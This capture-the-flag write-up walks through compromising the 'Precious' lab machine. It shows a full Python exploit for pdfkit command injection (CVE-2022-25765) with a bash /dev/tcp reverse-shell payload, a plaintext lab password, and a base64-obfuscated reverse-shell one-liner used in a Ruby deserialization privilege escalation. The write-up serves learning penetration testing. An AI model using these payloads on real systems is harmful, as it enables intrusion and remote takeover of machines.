Precious
Precious is an Easy Difficulty Linux machine, that focuses on the Ruby
language. It hosts a custom Ruby
web application, using an outdated library, namely pdfkit, which is vulnerable to CVE-2022-25765
, leading to an initial shell on the target machine. After a pivot using plaintext credentials that are found in a Gem repository config
file, the box concludes with an insecure deserialization attack on a custom, outdated, Ruby
script.
Enumeration
Using nmap to view open ports.
└──╼ $nmap -p- -v -r 10.10.11.189 | grep open
Discovered open port 22/tcp on 10.10.11.189
Discovered open port 80/tcp on 10.10.11.189
We see port 22 (SSH) and port 80 (HTTP) are open. Performing nmap script scan on these 2 ports.
└──╼ $nmap -sCV 10.10.11.189
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-08 21:43 AEDT
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.72s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.48 seconds
Visiting the website http://precious.htb/. This takes website as input and seems like it is converting it to PDF.
Let's use Burp Suite to avoid front end validations. Sending the request with url=http%3a//precious.htb%3b+ls
request body (trying for command injection...didn't word, but...discovered interesting information)
The response reveals that it is using pdfkit v0.8.6
.
Let's search for pdfkit v0.8.6 exploit
. I found this Github repository containing POC.
Exploitation
Let's explore the exploit
#!/usr/bin/env python3
import sys
import getopt
import requests
from urllib.parse import quote
def main(argv):
targetInput = '' # In "http://"" format
addrInput = ''
portInput = '9001' # By default
helpStr = """ Info:
Exploit for CVE-2022-25765 command injection in pdfkit < 0.8.6
Flags:
-t, --target Address of target in http-format
-a, --addr Address for reverse connect
-p, --port Port for reverse connect, 9001 by default
Example:
$ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337
"""
try:
opts, args = getopt.getopt(argv,"ht:a:p:",["addr=","port="])
except getopt.GetoptError:
print(helpStr)
sys.exit(2)
if not opts:
print(helpStr)
sys.exit()
for opt, arg in opts:
if (opt == '-h'):
print(helpStr)
sys.exit()
elif opt in ('-t', '--target'):
targetInput = arg
elif opt in ('-a', '--addr'):
addrInput = arg
elif opt in ('-p', '--port'):
portInput = int(arg)
print(f'[*] Input target address is {targetInput}')
print(f'[*] Input address for reverse connect is {addrInput}')
print(f'[*] Input port is {portInput}')
print('[!] Run the shell... Press Ctrl+C after successful connection')
evilPayload = f'http://?name=%20`bash -c \'bash -i >& /dev/tcp/{addrInput}/{portInput} 0>&1\'`'
postObject = "url=" + quote(evilPayload, safe="")
requests.post(targetInput, postObject)
if __name__ == "__main__":
main(sys.argv[1:])
How the Exploit Works
- Takes Input Parameters
-t
,--target
Address of target in http-format-a
,--addr
Address for reverse connect-p
,--port
Port for reverse connect, 9001 by default
- Performs Reverse Shell
- Generates below payload and sends post request
http://?name=%20`bash -c \'bash -i >& /dev/tcp/{addrInput}/{portInput} 0>&1\'`
We got the reverse shell but we are ruby
user, let's try to get real user
Enumeration for User Account
Enumerating ruby user. Found .bundle
folder - which generally used by ruby to store config file. We can see hery's password is stored here in plain test.
Enumerating for Root
With the login credentials henry:Q3c1AqGHtoI0aXAYFH
we can SSH to machine as user
Fist thing to do is check sudo -l
.
henry
can run /usr/bin/ruby /opt/update_dependencies.rb
as root without needing any passwords. Let's see the /opt/update_dependencies.rb
file
This load dependencies.yml
file but it is not giving an absolute path it is using relative path. We can create malformed dependencies.yml
file to escalate privilege.
We can exploit ruby decentralisation for more info check below. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Ruby.md
Let's use Universal gadget for ruby 2.x - 3.x.
Now let's execute sudo /usr/bin/ruby /opt/update_dependencies.rb
we can see the id
cmd has been executed.
Changing id
command to reverse shell payload echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjE1LzQ0NDQgMD4mMSAK | base64 -d | bash
Listening on port 4444 and executing sudo /usr/bin/ruby /opt/update_dependencies.rb
again to get root.
Captured the root flag.